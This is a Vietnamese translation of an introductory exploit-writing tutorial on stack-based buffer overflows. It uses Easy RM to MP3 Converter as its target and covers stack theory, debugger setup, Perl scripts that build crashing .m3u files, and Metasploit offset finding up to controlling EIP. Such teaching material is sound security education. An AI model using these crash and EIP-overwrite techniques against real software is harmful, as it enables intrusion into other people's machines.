Tải bản đầy đủ

ebook viet code khaithac exploit

5T4 – Private Only

Exploit writing tutorial part 1 : Stack
Based Overflows
Ngày 14/7/2009, một người với nickname “Crazy_Hacker” thông báo
một lỗ hổng trong phần mềm: trong phần mềm: Easy RM to MP3 Conversion
Utility ( phiên bản trên Windows XP SP2 EN) trên packetstormsecurity.org (
Tham khảo tại: http://packetstormsecurity.org/0907-exploits/). Tài liệu này mô
tả về phương pháp khai thác, vì lý do nào, exploit có thể không thành công.
Bạn có thể sao chép PoC exploit code, run it, và thấy rằng nó không hoạt động
( hoặc may mắn nó sẽ hoạt động..) hoặc bạn sẽ cố gắng tìm hiểu quá trình xây
dựng một exploit, từ đó bạn có thể sửa chữa broken exploit ( exploit không phù
hợp với phiên bản Windows, ví dụ như SP3 chẳng hạn) , hoặc thử xây dựng một
exploit của riêng bạn từ đầu.
Câu hỏi được đặt ra là: Làm thế nào để xây dựng một exploit? Quá trình
từ phát hiện khả năng có thể exploit đến xây dựng một exploit thự c tế ra sao?
Làm thế nào có thể sử dụng những thông tin thu thập được để xây dựng exploit?
Kể từ khi tôi bắt đầu viết tutorial, việc viết một basic tutorial về buffer
overflow theo kiểu “to do” luôn có trong danh sách, tuy nhiên tôi chưa thực sự
để dành thời gian để hoàn thành việc đó.
Khi tôi đọc được thông báo về vulnerability ( lỗ hổng) này, xem xét

exploit, tôi thấy rằng nó có thể là một ví dụ hoàn hảo giới thiệu về khai thác cơ
bản. Nó khá là đơn giản, cho phép tôi chứng minh một số kỹ thuật về tràn bộ
nhớ đệm trên stack - stack based buffer overflows.
Tôi sử dụng lỗ hổng trong “Easy RM to MP3 conversion utility” làm ví
dụ và trình bày các bước để xây dựng một exploit. Có nghĩa, chúng ta sẽ xây
dựng nó từ đầu.
Trước khi bắt đầu, tôi xin được lưu ý. Tài liệu này dành cho mục đích
giáo dục. Tôi không muốn một ai sử dụng nó để tấn công vào một máy tính. Vì
vậy, tôi không thể chịu trách nhiệm cho các hành vi của người khác, những sử
dụng nó cho các mục đích bất hợp pháp.
Những thông tin bạn nhận được từ báo cáo lỗ hổng mô tả cơ bản về lỗ
hổng, bản báo cáo có tên là: ““Easy RM to MP3 Converter version 2.7.3.700
Author : Hà Bách Nam and Nguyễn Kim Thụy

1


5T4 – Private Only
universal buffer overflow exploit that creates a malicious .m3u file”. Nói cách
khác, bạn có thể tạo một file chữa mã độc ( malicious): *.m3u, đưa cho phần
mềm xử lý và trigger – kích hoạt exploit. Bạn có thể mô phỏng để làm crash –
hoặc làm phần mềm có hành vi lạ.
“Trước khi bắt đầu phần đầu tiên của loạt bài tutorial về exploit writing,
cho phép tôi giới thiệu diễn đàn mà ở đó chúng ta có thể thảo luận về
exploit writing – question – tip – trick... Bạn có thể truy cập vào: https://
www.corelan.be/index.php/forum/writing-exploits/”
Verify the bug – Xác nhận bug
Đầu tiên, cần xác nhận rằng ứng dụng không thực sự crash – sụp đổ khi
mở định dạng m3u – hoặc ứng dụng bị treo khi mở dữ liệu thủ công đặc biệt specifically crafted data.
1.

Hãy lấy một phiên bản Easy RM to MP3 có lỗi và cài đặt nó trên Windows
XP. Báo cáo lỗi đưa ra exploit trên Windows XP SP2, tuy nhiên chúng ta sẽ làm
cho nó hoạt động trên Windows SP3.
Phiên bản có lỗi có thể download tại: https://www.corelan.be/?dl_id=37

Note: Bạn có thể tìm các phiên bản cũ hơn tại oldversion.com và
oldversion.com. Exploit có thể tìm kiếm trên exploit-db.com.
Chúng ta sẽ sử dụng một đoạn code perl để tạo ra file crash.m3u giúp
chúng ta thu thập được nhiều thông tin về lỗ hổng này

my $file= "crash.m3u";
my $junk= "\x41" x 10000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";

Chạy đoạn script này sẽ tạo file m3u, được lấp đẩy bởi 10000 ký tự A
(\x41 mà mã hexa của A) và mở nó bằng phần mề Easy RM to MP3. Ứng dụng
Author : Hà Bách Nam and Nguyễn Kim Thụy

2


5T4 – Private Only
đưa ra một thông báo lỗi như có vẻ được xử lý chính xác và ứng dụng không bị
crash:

Thử thay đổi script với 20000 A và thử lại, vẫn như vậy ( ngoại lệ được
xử lý chính xác và chúng ta vẫn chưa thể ghi đè được những thông tin có ích –
chi tiết ở phía sau). Bây giờ thử thay đổi với 30000 A và mở bằng phần mềm:

Boom – application dies.
Vậy là ứng dụng bị crash nếu file có 20000 đến 30000 A. Nhưng ta có thể
làm gì với nó.
Verify the bug – và xem có những gì thú vị ở đó
Rõ ràng, không phải tất cả ứng dụng bị crash đều khai thác được. Trong
nhiều trường hợp, một ứng dụng bị crash sẽ không dẫn đến exploit.. Nhưng
một số lại có thể. Với “exploit”, chúng ta sẽ bắt ứng dụng làm một cái gì đó mà
không có ý định làm, ví dụ như chạy một đoạn code của bạn chẳng hạn. Đơn
giản nhất để làm ứng dụng làm gì đó khác bằng cách điều khiển luồng của ứng
dụng – application flow. Điều đó có thể được bằng cách điều khiển các con trỏ
Author : Hà Bách Nam and Nguyễn Kim Thụy

3


5T4 – Private Only
hướng dẫn - Instruction Pointer hoặc Program Counter, là một thanh ghi của
CPU chứa con trỏ chỉ đến lệnh tiếp theo sẽ được thực hiện.
Giả sử ứng dụng gọi một hàm với một tham số. Trước khi đến hàm đó, nó sẽ
lưu lại vị trí hiện tại ( thường được biết đến là địa chỉ quay về khi hàm kết thúc).
Nếu bạn có thể thay đổi giá trị của con trỏ này trỏ nó đến một chỗ khác trong bộ
nhớ mà chứa phần code của bạn, tiếp theo bạn có thể thay đổi dòng xử lý của
ứng dụng và làm cho nó thực thi một cái gì đó khác ( thay vì trỏ về vị trí ban
đầu). Đoạn code mà bạn muốn được thực thi sau khi điều khiển được con trỏ
thường được gọi là “shellcode”. Vì vậy, nếu chúng ta làm cho ứng dụng chạy
shellcode của chúng ta, chúng ta có thể goi nó là một exploit. Trong hầu hết
trường hợp, con trỏ này được tham chiếu bởi thanh ghi EIP. Thanh ghi có độ dài
4 bytes. Cho nên nếu bạn có thể thay đổi 4 bytes này, bạn sẽ làm chủ được ứng
dụng – và computer chạy ứng dụng đó.
2. Trước

khi tiến hành, có một số lý thuyết sau:
Một vài thuật ngữ bạn sẽ cần:
Mọi ứng dụng Windows sử dụng các phần của bộ nhớ. Trong đó gồm 3
thành phần chính là:
Code segment: mã lệnh hướng dẫn bộ xử lý thực thi. (EIP trỏ đến
mã lệnh sẽ được thực thi tiếp theo)
● Data segment: biến – varible, dynamic buffer
● Stack segment: được sử dụng để truyền data ( dữ liệu) – tham số (
agrument) vào trong hàm, và được sử dụng như là một nơi lưu trữ
biến. Stack bắt đầu ( đáy stack) tại vị trí kết thúc ( very end) của
trang bộ nhớ ảo ( virtual memory) và giảm dần. Lệnh PUSH thêm
vào đỉnh stack, POP thì lấy nó ra ( 4bytes) và chuyển vào thanh
ghi.
Nếu muốn truy cập stack trực tiếp, có thể sử dụng thanh ghi ESP (Stack
Pointer). Thanh ghi này luôn trỏ vào đỉnh stack - địa chỉ thấp nhất của stack.


Sau khi PUSH, ESP sẽ trỏ đến địa chỉ thấp hơn ( địa chỉ sẽ được giảm
bằng size của dữ liệu được push vào stack – thường là 4 bytes với địa chỉ /
thanh ghi) Việc giảm địa chỉ thường được thực hiện trước khi đặt dữ liệu vào
stack ( tùy thuộc vào quá trình thực hiện – nếu ESP chỉ vào vị trí tiếp theo trong
stack, việc giảm sẽ tiến hành sau khi đặt dữ liệu vào stack)
Author : Hà Bách Nam and Nguyễn Kim Thụy

4


5T4 – Private Only
Sau khi POP, ESP trỏ đến địa chỉ cao hơn ( địa chỉ được tăng, thường là
4bytes). Việc tăng địa chỉ xảy ra khi sau khi gỡ bỏ thành phần ra khỏi stack.
Khi một hàm/ chương trình con bắt đầu, một frame stack được tạo ra.
Frame này sẽ lưu các thông số của thủ tục trước đó và được sử dụng để chuyển
tham số cho chương trình con. Vị trí hiện tại của con trỏ có thể truy cập qua
ESP - stack pointer. Cơ sở bắt đầu của hàm hiện tại được chứa trong thanh ghi
cơ sở - base pointer (EBP) hoặc frame pointer.
Các thanh ghi phổ biến (Intel, x86) là:
EAX – accumulator: được sử dụng cho việc tính toán, lưu trữ dữ
liệu ( trong function call chẳng hạn). Sử dụng trong các toán tử cơ
bản như add, subtract, compare.
● EBX : base: ( không có bất kỳ điều gì cần làm với thanh ghi cơ sở)
không có mục đích chính xác và được sử dụng để lưu dữ liệu.
● ECX : counter: được sử dụng để lặp – ECX giảm dần.
● EDX : data : thanh ghi mở rộng của EAX. Cho phép các tính toán
phức tạp hơn ( multiply – divde) bằng cách cho phép mở rộng lưu
trữ dữ liệu tạo điều kiện cho tính toán ( như lưu thương số vào
EAX, phần dư vào EDX chẳng hạn)
● ESP : stack pointer
● EBP : base pointer
● ESI : source index : lưu giữ vị trí của input data.
● EDI : destination index : chỉ đến vị trí kết quả của toán tử được lưu
trữ.
● EIP : instruction pointer.
3. Process Memory
Khi ứng dụng bắt đầu trong môi trường Win32, tiến trình được tạo và bộ
nhớ ảo
(virtual memory) được gán. Với tiến trình 32 bit, địa chỉ bắt đầu từ
0×00000000 đến 0xFFFFFFFF. Trong đó từ 0×00000000 đến 0x7FFFFFFF
được gán cho “user-land”, còn từ 0×80000000 đến 0xFFFFFFFF được gán cho
“kernel-land”. Windows sử dụng flat memory model – điều đó có nghĩa CPU
có thể trực tiếp / tuần tự / tuyến tính địa chỉ tất cả vị trí địa chỉ có sẵn mà không
cần phải sử dụng phân đoạn – phân trang.


Bộ nhớ Kernel land chỉ được truy cập bởi OS

Author : Hà Bách Nam and Nguyễn Kim Thụy

5


5T4 – Private Only
Khi tiến trình được tạo , PEB (Process Execution Block) và TEB (Thread
Environment Block) cũng được tạo.
PEB bao gồm tất cả user land parameters ( tham số của user land) gắn với tiến
trình hiện tại:
Vị trí của main excute
2. Trỏ đến loader data ( sử dụng để hiển thị tất cả dll / module được load
trong tiến trình)
3. Trỏ đến thông tin về heap
TEB mô tả trạng thái của tiến trình, bao gồm:
1.

Vị trí của PEB trong bộ nhớ
2. Vị trí của stack trong tiến trình mà nó sở hữu
3. Trỏ đến entry đầu tiên của SEH chain
Mỗi luồng (thread) bên trong tiến trình (process) có một TEB.
1.

Sơ đồ bộ nhớ trong tiến trình của Win32:

Author : Hà Bách Nam and Nguyễn Kim Thụy

6


5T4 – Private Only

Phân đoạn text ( text segment) trong program image là read-only, và chỉ
bao gồm application code. Điều này hạn chế sửa đổi application code. Data
segment được sử dụng để lưu trữ biến toàn cục (global) và biến tĩnh (static).
Data segment được sử dụng để khởi tạo global variables, strings, constants.
Data segment có khả năng ghi và có size cố định. Heap segment được sử
dụng cho các phần còn lại của program variables. Nó có thể phát triển lớn hơn
Author : Hà Bách Nam and Nguyễn Kim Thụy

7


5T4 – Private Only
hoặc nhỏ hơn thiết kế.Tất cả bộ nhớ trong heap được quản lý bởi thuật toán cấp
phát và thuật toán thu hồi. Một vùng nhớ được dành riêng bởi thuật toán. Heap
sẽ phát triển địa chỉ lên cao hơn.
Trong dll, các mã, đầu vào (danh sách các hàm được sử dụng bởi dll hoặc dll
khác và ứng dụng), đầu ra là một phần của .text segment.
4. Stack

Stack là một phần của tiến trình bộ nhớ, một cấu trúc dữ liệu hoạt động theo
mô hình LIFO (Last in first out). Stack được cấp phát bởi OS cho mỗi thread –
khi thread được tạo. Khi thread kết thúc, stack sẽ được clear.Size của stack được
định nghĩa khi được tạo và không thể thay đổi. Kết hợp với LIFO không đòi hỏi
cơ chế quản lý phức tạp nên stack khá nhanh – tuy nhiên bị giới hạn trong kích
cỡ.
LIFO có nghĩa là dữ liệu được đặt vào gần nhất sẽ là dữ liệu đầu tiên được
lấy ra.
Khi stack được tạo, con trỏ stack trỏ về đỉnh của stack ( bằng địa chỉ cao
nhất của stack). Ngay khi dữ liệu được push vào stack, con trỏ stack giảm ( tới
địa chỉ thấp hơn). Vì vậy, stack phát triển xuống vùng địa chỉ thấp hơn.
Stack lưu local variables, function call và những thông tin khác mà không
cần lưu trữ trong thời gian lớn. Mỗi lần gọi hàm ( function call), các tham số
của hàm được push vào stack, và các giá trị được lưu vào các thanh ghi (EIP,
EBP). Khi hàm kết thúc , giá trị đã lưu của EIP được lấy ra từ stack và đặt trở
lại EIP, từ đó ứng dụng có thể trở lại bình thường.
Hãy sử dụng đoạn code sau để chứng minh điều đó:
#include
void do_something(char *Buffer)
{
char MyVar[128];
strcpy(MyVar,Buffer);
}
int main (int argc, char **argv)
{
do_something(argv[1]);
}

“Bạn có thể complite đoạn code này, sử dụng Devcpp, tạo một console
project ( sử dụng ngôn ngữ C, không phải C++) paste đoạn code này vào và
complete nó. Trên hệ thống của tôi, tôi đặt tên project là “stacktest”. Chạy
Author : Hà Bách Nam and Nguyễn Kim Thụy
8


5T4 – Private Only
ứng dụng này "stacktest.exe AAAA". Không có gì cả”
Ứng dụng lấy 1 agrument – tham số ( argv[1] và truyền nó vào hàm
do_something) Trong hàm này, agrument sẽ được copy tới biến cục bộ có độ
dàu tối đa 128bytes. Vậy nếu agrument dài hơn 127bytes ( 1 Null byte để ngắt
xâu) bộ đệm có thể bị tràn.
Khi hàm do_something() được gọi từ trong hàm main(), có những điều
sau xảy ra:
Một stack frame được tạo ra, ở đỉnh của stack “cha” – parent stack. Con
trỏ stack - stack pointer (ESP) trỏ vào địa chỉ cao nhất của stack mới được tạo.
Đây là đỉnh của stack.

Trước khi do_something() được gọi, con trỏ trỏ đến agrument vừa được
push vào stack. Trong trường hợp này là trỏ tới argv[1]

Author : Hà Bách Nam and Nguyễn Kim Thụy

9


5T4 – Private Only

Stack sau khi thực hiện lệnh MOV

Tiếp theo, hàm do_something được gọi. Hàm CALL đầu tiên đặt con trỏ
lệnh hiện thời vào stack ( đây được biết là nơi mà trở lại khi hàm hết thúc) và
nhảy tới function code ( đoạn code của hàm)
Stack sau khi thực hiện hàm CALL:

Author : Hà Bách Nam and Nguyễn Kim Thụy

10


5T4 – Private Only
Sau khi push, ESP sẽ giảm 4bytes và trở về địa chỉ thấp hơn:

ESP trỏ đến 0022FF5C, ở địa chỉ này, chúng ta thấy địa chỉ đã lưu của
EIP (Return to…) , tiếp theo là trỏ đến tham số ( AAAA trong ví dụ này). Con
trỏ đã được lưu trên stack trước khi hàm CALL được thực thi.

Tiếp theo, hàm prolog thực thi. Về cơ bản, thanh ghi cơ sở - frame
pointer (EBP) được đặt vào stack. Vì vậy nó có thể được phục hồi khi hàm trở
về. Lệnh để lưu frame pointer là “push ebp” . ESP lại giảm 4bytes lần nữa.

Author : Hà Bách Nam and Nguyễn Kim Thụy

11


5T4 – Private Only

Sau khi push ebp, con trỏ stack hiện tại (ESP) đặt vào EBP. Tại điểm này,
cả ESP và EBP đều trỏ vào đỉnh của stack. Từ thời điểm đó, stack được tham
chiếu bởi ESP ( luôn ở đỉnh của stack bấy kỳ lúc nào) và EBP, con trỏ cơ sở của
stack hiện tại. Bằng cách này, ứng dụng có thể tham chiếu đến các biến bằng
các sử dụng offset với EBP.
“Hầu hết các hàm đều bắt đầu với: PUSH EBP. Theo sau là: MOV
EBP,ESP”
Vì vậy, nếu bạn push 4bytes nữa vào stack. ESP sẽ giảm một lần nữa còn
EBP vẫn ở lại đó. Bạn có thể tham chiếu 4bytes này bằng cách sử dụng EBP –
0x8.
Tiếp theo, chúng ta sẽ xem làm thế nào stack phân bổ khoảng trống cho
biến MyVar (128bytes). Đễ giữ các dữ liệu, một số không gian trên stack được
phân bố để lưu giữ biến, ESP sẽ giảm một số bytes. Con số này có thể là hơn
128bytes, tùy thuộc vào trình biên dịch. Trong trường hợp của Devcpp, sẽ là
0×98 bytes, cho nên bạn sẽ nhìn thấy lệnh SUB ESP,0×98. Bằng cách đó, sẽ có
không gian cho biến:
Author : Hà Bách Nam and Nguyễn Kim Thụy

12


5T4 – Private Only

Disassembly của hàm giống như sau:
00401290
00401291
00401293
00401299
0040129C
004012A0
004012A6
004012A9
004012AE
004012AF

/$
|.
|.
|.
|.
|.
|.
|.
|.
\.

55
89E5
81EC 98000000
8B45 08
894424 04
8D85 78FFFFFF
890424
E8 72050000
C9
C3

PUSH EBP
MOV EBP,ESP
SUB ESP,98
MOV EAX,DWORD
MOV DWORD PTR
LEA EAX,DWORD
MOV DWORD PTR
CALL
LEAVE
RETN

PTR SS:[EBP+8]
SS:[ESP+4],EAX
PTR SS:[EBP-88]
SS:[ESP],EAX
; \strcpy

;
;
;
;

|
|
|
|

Đừng lo lắng vì quá nhiều code. Bạn có thể thấy rõ chức năng prolog:
PUSH EBP và MOV EBP,ESP. Tiếp theo bạn sẽ thấy cấp phát khoảng trống
cho biến Myvar: SUB ESP,98. Và bạn sẽ thấy một số hàm MOV và LEA ( cơ
bản là thiết lập các tham số cho lời gọi hàm strcpy). Có thể giải thích là: đặt con
trỏ về argv[1] ( chính là EBP+8 – sao chép nó vào EAX), sau đó sao chép EAX
vào biến Myvar ( có vị trí là ESP+4).
Cụ thể như sau:

Author : Hà Bách Nam and Nguyễn Kim Thụy

13


5T4 – Private Only
PUSH EBP: Tiến hành lưu EBP rồi MOV EBP,ESP: ESP và EBP cùng
trỏ tới đỉnh stack, là EBP vừa được push vào.
SUB ESP,98: Tiến hành cấp phát một khoảng nhớ là 152bytes ( 98 hexa
to decima).
MOV EAX,DWORD PTR SS:[EBP+8] : EBP cộng 8 chính là ptr to
argv[1]. Bước này sao chép địa chỉ trỏ tới argv[1] vào EAX. Lưu ý rằng địa chỉ
có độ dài bằng 1 thanh ghi 32bit tức 4bytes.
MOV DWORD PTR SS:[ESP+4],EAX: Sao chép EAX ( tức địa chỉ
argv[1] tới ESP cộng 4. Nhớ rằng sau khi SUB ESP,98, ESP được giảm đi, ở
đỉnh stack ( như hình trên) chứ không còn cùng trỏ vào EBP nữa. ESP cộng 4 là
từ đỉnh giảm xuống 4 ( stack phát triển từ cao xuống thấp). Lúc này, 4bytes trên
đỉnh stack chứa địa chỉ argv[1].
LEA EAX,DWORD PTR SS:[EBP-88] : Lệnh này sẽ lưu địa chỉ ô nhớ
EBP trừ 88 vào EAX:

Author : Hà Bách Nam and Nguyễn Kim Thụy

14


5T4 – Private Only
MOV DWORD PTR SS:[ESP],EAX: Địa chỉ này sau đó được ghi vào
ESP. ESP lúc này trỏ vào EBP trừ 88, tức bắt đầu của nơi strcpy() lưu giá trị của
argv[1].

Kết thúc bước này hoàn tất quá trình chuẩn bị gọi hàm strcpy()
CALL

; \strcpy

Sau khi thực hiện xong, tiến hành LEAVE để lấy lại EBP đã lưu, RET lấy
lại EIP đã lưu, chuyển về hàm main.
Nếu như không có hàm strcpy() trong hàm này, hàm sẽ kết thúc và
“unwind” stack. Cơ bản là, nó sẽ di chuyển ESP lại ESP đã lưu, sau đó thực
hiện lênh RET. RET trong trường hợp này sẽ lấy con trỏ ESP từ stack và
nhảy đến đó. Sau đó, nó sẽ quay lại trở lại chương trình chính, nơi mà hàm
do_something() đã được gọi. Hướng dẫn epilog được thực hiện bởi lệnh
LEAVE, mà ở đó sẽ hồi phục framepointer và EIP. Trong ví dụ của chúng ta, có
hàm strcpy()

Author : Hà Bách Nam and Nguyễn Kim Thụy

15


5T4 – Private Only
Hàm này sẽ đọc dữ liệu, từ địa chỉ trỏ bởi [Buffer], và lưu trữ nó trong
( trong sơ đồ trên), đọc tất cả dữ liệu cho tới khi null byte
(string terminator). Trong khi sao chép dữ liệu, ESP ở nơi nó trỏ tới. Strcpy()
không sử dụng PUSH để đưa dữ liệu vào stack, nó sẽ đọc 1 bytes và đưa vào
stack, sử dụng index ( như ESP, ESP+1, ESP+2). Sau khi copy, ESP trỏ về đầu
chuỗi.

Có nghĩa là, nếu [buffer] lớn hơn 0x98bytes, strcpy() sẽ ghi đè EBP được
lưu và cả EIP. Sau đó, nó chỉ đọc và ghi cho đến khi gặp được null byte trong
chuỗi nguồn.

Author : Hà Bách Nam and Nguyễn Kim Thụy

16


5T4 – Private Only

ESP vẫn trỏ vào điểm bắt đầu chuỗi. Hàm strcpy() kết thúc nếu không
có gì sai, sau khi strcpy(), hàm kết thúc ( do_something()). Và đây là mọi thứ
trở nên thú vị. Chức năng epilog được kích hoạt. Cơ bản, nó sẽ di chuyển ESP
về nơi EIP đã được lưu, rồi tiến hành RET. Nó sẽ lấy con trỏ (AAAA hoặc
0×41414141 tùy trường hợp) và nhảy đến địa chỉ đó.
Vì vậy, bạn kiểm soát được EIP. Bằng cách điều khiển EIP, bạn thay đổi
địa chỉ trở về ( return address) để chương trình tiếp tục bình thường.
Đương nhiên, bạn có thể thay đổi địa chỉ trở về bằng cách tận dụng
buffer overflow.
Vì vậy, giả sử bạn có thể ghi đè buffer trong Myvar, EBP, EIP và bạn có
một đoạn code của riêng bạn, ở vùng trước và sau khi EIP được lưu. Sau khi ghi
đè, EIP sẽ trỏ về đoạn code của bạn. Và bạn đã làm cho EIP trỏ tới đoạn code
của bạn, và bạn đã nắm quyền điều khiển.

Author : Hà Bách Nam and Nguyễn Kim Thụy

17


5T4 – Private Only
Note: Khi một bộ đệm tràn trên stack, thuật ngữ: "stack based overflow"
hoặc "stack buffer overflow" được sử dụng. Khi bạn cố thay đổi stack frame,
thuật ngữ "stack overflow" được sử dụng. Đừng nhẫm lẫn hai thuật ngữ, vì
nó khác nhau
5. The

debugger
Để thấy được trạng thái của stack ( và giá trị của thanh ghi, như con trỏ
stack, con trỏ lệnh..) chúng ta cần phải hook một debugger tới ứng dụng, chúng
ta có thể thấy những gì xảy ra trong thời gian ứng dụng chạy ( và đặc biệt khi nó
“die”)
Có nhiều trình debug cho mục đích này, trong đó là Windbg, và Immunity’s
Debugger.
Chúng ta sẽ sử dụng Windbg. Cài đặt Windbg (Full install) và đăng ký như
là một “post-mortem” debugger bằng việc sử dụng windbg –I

Bạn có thể disable “xxxx has encountered a problem and needs to close”
popup bằng chỉnh sửa register key:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto : Đặt
là 0
Để tránh Windows thông báo về “Symbol files not found”, tạo một thư
mục trên ổ đĩa của bạn ( ví dụ là c:\windbgsymbols). Trong Windbg, tới “File”
– “Symbol File Path” và thêm dòng sau:
SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols
Author : Hà Bách Nam and Nguyễn Kim Thụy

18


5T4 – Private Only
Note: không để dòng trắng phía sau, đảm bảo chỉ có chuỗi này trong
trường symbol path.
Nếu bạn sử dụng Immunity Debugger, cài đặt và mở Immunity debugger,
tới "Options" – "Just in-time debugging" và click "Make Immunity Debugger
just in-time debugger".
Bây giờ chúng ta sẽ bắt đầu:
Chạy Easy RM to MP3 và mở file crash.m3u một lần nữa. Ứng dụng sẽ
crash một lần nữa. Nếu bạn đã disable popup, windbg hoặc Immunity debugger
sẽ tự động kích hoạt. Nếu bạn gặp, bấm vào nút debug, và debugger sẽ được bắt
đầu:
Windbg :

Immunity :

Author : Hà Bách Nam and Nguyễn Kim Thụy

19


5T4 – Private Only

2 giao diện này cho thông tin gần giống nhau, nhưng mỗi cái một kiểu. Ở
trái trên, bạn có thể thấy CPU view, hiểu thị assembly code. Cửa sổ trống vì EIP
hiện tại trỏ tới 41414141 là một địa chỉ sai ( AAAA). Bên phải trên, bạn sẽ thấy
các thanh ghi. Phải dưới là nội dung của stack.
Vì vậy, trông nó như một phần của file m3u được đọc vào buffer và gây
nên buffer overflow. Chúng ta đã gây nên tràn bộ nhớ đệm và ghi đè lên trong
trỏ lệnh. Vì vậy chúng ta có thể kiểm soát thanh ghi EIP
File của chúng ta chỉ chứa A, chính vì vậy chúng ta không biết xác độ lớn
của của buffer để ghi đè chính xác EIP. Nói cách khác, nếu chúng ta muốn ghi
đè cụ thể EIP ( để làm cho nó nhảy đến đoạn mã của chúng ta) chúng ta phải
biết chính xác vị trí trong buffer/payload sẽ ghi đè địa chỉ trả về. Vị trí này
thường được gọi là offset
6. Xác

định kích thước của buffer để ghi chính xác vào EIP
Chúng ta biết được rằng EIP nằm ở vị trí nào đó giữa 20000 và 30000bytes
của buffer. Bây giờ, bạn có khả năng ghi đè tất cả không gian bộ nhớ giữa
20000 và 30000 bytes với địa chỉ bạn muốn ghi đè EIP. Điều này có thể làm
được, nhưng sẽ tốt hơn nếu bạn tìm được chính xác vị trí để ghi đè. Để xác định
Author : Hà Bách Nam and Nguyễn Kim Thụy

20


5T4 – Private Only
vị trí chính xác của offset EIP trong buffer chúng ta, chúng ta cần làm thêm một
số việc bổ sung:
Đầu tiên, chúng ta sẽ sớm thu hẹp khoảng bằng cách thay đổi nội dung file perl.
Chúng ta sẽ giảm những thứ một nửa. Chúng ta sẽ tạo ra 1 file 25000 A và
5000B. Nếu EIP chứa 41414141, EIP sẽ nằm giữa 20000 và 25000. Còn nếu
EIP chứa 42424242, EIP ở giữa 25000 và 30000.
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";

Tạo file và mở file: crash25000.m3u bằng Easy RM to MP3

Do đó, EIP chứa 42424242 (BBBB) nên chúng ta biết rằng EIP nằm giữa
25000 và 30000.
Buffer :
[
5000 B's
]
[AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]
25000 A's
EIP ESP points here

Hiển thị nội dung ESP:
0:000> d esp
000ff730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
0:000> d
000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff7c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
0:000> d
000ff830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
000ff890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42

BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBB

Author : Hà Bách Nam and Nguyễn Kim Thụy

21


5T4 – Private Only
000ff8a0

42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42

BBBBBBBBBBBBBBBB

Chúng ra đã ghi đè được EIP với BBBB và có thể thấy được buffer trong
ESP
Chúng ra cần tìm chính xác vị trí trong buffer ghi đè EIP. Để làm được
việc đó, chúng ra sử dụng Metasploit
Metasploit là công cụ tốt để giúp tính toán offset. Nó sẽ tạo tra những
string chứa những mẫu duy nhất. Sử dụng mẫu này, cùng với giá trị EIP sau khi
sử dụng mẫu này trong file m3u) chúng ta thấy được bộ đệm dù lớn sẽ được
được ghi đè EIP như thế nào.
Mở thư mục tool trong metasploit framework3. Bạn sẽ tìm thấy một
script là pattern_create.rb. Tạo một mẫu với 5000 ký tự và ghi nó ra file.
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000

Thay đổi perl script của chúng ta và thay đổi $junk2 bằng 5000 ký tự của
chúng ta:
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = “put the 5000 characters here”
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";

Tạo m3u file, và mở bằng Easy RM to MP3. Đợi cho ứng dụng “die” và chú ý
đến nội dung của EIP:

Trong lần này, EIP chứa giá trị 0x356b4234
Chúng ta sẽ sử dụng công cụ thứ hai của metasploit ngay bây giờ. Để tính
toán độ dài chính xác của buffer trước khi ghi vào EIP, căn giữa vị trí EIP và độ
dài buffer:
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 5000

Author : Hà Bách Nam and Nguyễn Kim Thụy

22


5T4 – Private Only
1094
root@bt:/pentest/exploits/framework3/tools#

